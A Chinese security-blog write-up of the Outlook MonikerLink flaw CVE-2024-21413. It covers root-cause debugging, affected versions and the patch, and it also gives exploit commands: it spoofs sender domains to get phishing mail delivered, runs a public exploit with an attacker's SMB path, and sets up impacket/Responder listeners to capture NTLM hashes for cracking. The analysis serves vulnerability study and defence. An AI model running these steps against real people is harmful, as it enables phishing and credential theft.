freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2024-21413 Outlook远程代码执行漏洞分析
2024-03-28 14:45:47

一、前言

Microsoft Office Outlook是微软office的组件之一,也是常用的邮件客户端之一。CVE-2024-21413 是在 Microsoft Outlook 中发现的一个重大安全漏洞,CVSS 评分 9.8。攻击者将一个带恶意链接的邮件发送给被攻击用户,当用户点击链接时,会导致NTLM窃取与远程代码执行(RCE),并且该漏洞还能使攻击者能够绕过Office文档的受保护视图。本文先讲复现过程,后讲漏洞原理。

二、漏洞复现

准备材料:windows和linux虚拟机,hMailServer

2.1 搭建邮件服务器

下载安装hMailServer。需要在Domins里配置邮箱的域名和账号,域名可以填成别人的域名。因为我们只用来发件,并不需要接收邮件,所以也不需要自己购买域名做解析。

注意,不是所有的域名都能发送成功,主流的邮箱都会做校验,我们客户端发出的邮件特征与官方来源不一致会直接丢弃。经过笔者尝试, youtu防和谐be.com或139.com域名可正常投递到163邮箱,其他域名请自行尝试。

2.2 安装outlook

推荐从ITELLYOU下载官方版的Office,https://msdn.itellyou.cn/

需要注意,不能只安装outlook,推荐安装全部套件。安装后无需激活,不影响后续利用。

2.3. 发送攻击邮件

使用exp链接:https://github.com/duy-31/CVE-2024-21413

./cve-2024-21413.sh [hMailServer ip] [hMailServer port] [hMailServer sender email ] [outlook reveiver email ] "\\[NTLM reveiver ip]\test\duy31.txt"
例如:
./cve-2024-21413.sh 192.168.0.210 25  admin@you防和谐tube.com  raddyfiy@163.com "\\192.168.0.44\test\duy31.txt"

2.4 NTLM接收机设置监听

sudo impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp

注意,impacket-smbserver是kali自带的工具。如果机器里没有,可以使用此脚本接收:https://github.com/lgandx/Responder

2.5 触发漏洞

正常情况下点击链接会触发outlook的告警:




但通过此漏洞构造的邮件不会触发任何告警,用户点击click之后,攻击者成功接收用户的NTLM。


2.6 RCE(命令执行)

此漏洞本质上只是实现了任意SMB URL访问。想要实现RCE需要与其他漏洞配合,例如CVE-2023-21716、CVE-2022-30190等。

三、漏洞原理

在Outlook里,此类链接统称为“Moniker Link”,所以此漏洞也被叫做MonikerLink漏洞。Outlook内部使用”ole32!MkParseDisplayName()”的api对MonikerLink进行解析,根据解析结果来寻找的COM对象。当用户单击访问后,会断在这个函数里:

Breakpoint 0 hit
eax=00000000 ebx=00000023 ecx=1a168666 edx=0000002f esi=1a168620 edi=800401e4
eip=772a5ca0 esp=009c8d2c ebp=009c97ac iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ole32!MkParseDisplayName:
772a5ca0 8bff            mov     edi,edi
0:000> k
 # ChildEBP RetAddr
00 009c97ac 64707f22     ole32!MkParseDisplayName [com\ole32\com\moniker2\cmonimp.cxx @ 1413] 
01 009c97ac 64703930     hlink!HrParseDisplayNameEx+0x5052
02 009c983c 64702dc8     hlink!HrIntHlinkCreate+0x140
03 009c9878 740af6db     hlink!HlinkCreateFromString+0xa8
04 009c9914 69e839bf     mso30win32client!MsoHrHlinkCreateFromString+0x8d
05 009c9a88 69e837af     wwlib!HrCreateHlinkParseField+0x1eb
06 009cec94 69dbd065     wwlib!HrCreateHlinkFromField+0xda
07 009cece4 6a814114     wwlib!FReadHyperlinkFieldData+0x1c7
08 009cedac 6acc1cd8     wwlib!TmcHyperlinkOpen+0xbe
09 009cedd8 6aceaea3     wwlib!FDoHyperlinkHit+0x9f
0a 009cedf0 6b109066     wwlib!FHandleHyperlinkOnClick+0x43
0b 009cee38 6b101b7a     wwlib!CHyperlinkTE::HandleClick+0x129
0c 009cf07c 6b101f6e     wwlib!CDispatcherTE::OnClick+0x2ae
0d 009cf090 6b0f8d59     wwlib!CDispatcherTE::OnSingleClick+0x10
0e 009cf0a8 6b0f8f0e     wwlib!CMouseToolApp::ExecuteGesture+0xfa
...

查询微软的api文档: https://learn.microsoft.com/en-us/windows/win32/api/objbase/nf-objbase-mkparsedisplayname

可以看到API“MkParseDisplayName()”的第二个参数“szUserName”保存了我们构造的url。下断点可以看到我的输入:

0:000> du poi(esp+4*2)
1a168620 "\\10.10.111.111\test\test.rtf!something"

Payload的精髓是加了一个感叹号!,根据官方文档,当链接里有!时,会将整体识别为两部分,感叹号前面的叫FileMoniker,感叹号后面的(something)叫ItemMoniker。接下来windows会在后台调用Word组件,word会首先打开第一部分指向的文件(\\10.10.111.111\test\test.rtf),之后会在文件内部寻找ItemMoniker对象(something)。

但此链接是SMB协议的,该协议是windows进行文件共享的协议,认证过程会携带NTLM凭据。所以只要访问攻击者的机器,攻击者即可接收到NTLM,之后可以用hashcat等进行爆破。同时因为outlook会直接下载该链接的文件,当文件是RTF系列漏洞的攻击payload时,相应的漏洞就会被触发,进行进一步命令执行利用。

四、影响范围

漏洞几乎影响全系列office产品,包括但不限于:

Microsoft Office 2016 (64bit、32bit)
Microsoft Office 2019 (64bit、32bit)
Microsoft Office LTSC 2021  (64bit、32bit)
Microsoft 365 Apps for Enterprise  (64bit、32bit)

五、修复措施

微软已在2024年2月发布了修复补丁,更新KB5002537及以上的补丁即可修复。

六、总结

直到现在最常用 的社会工程学攻击手段仍是邮件钓鱼。有漏洞、长期不更新的邮件客户端极其容易成为钓鱼邮件的目标,所以用户应保持良好的使用习惯,邮件客户端要及时更新,或直接使用网页版邮箱。同时对于收到的任何邮件要保持警惕,不点击陌生链接、不下载可疑附件。



# 漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录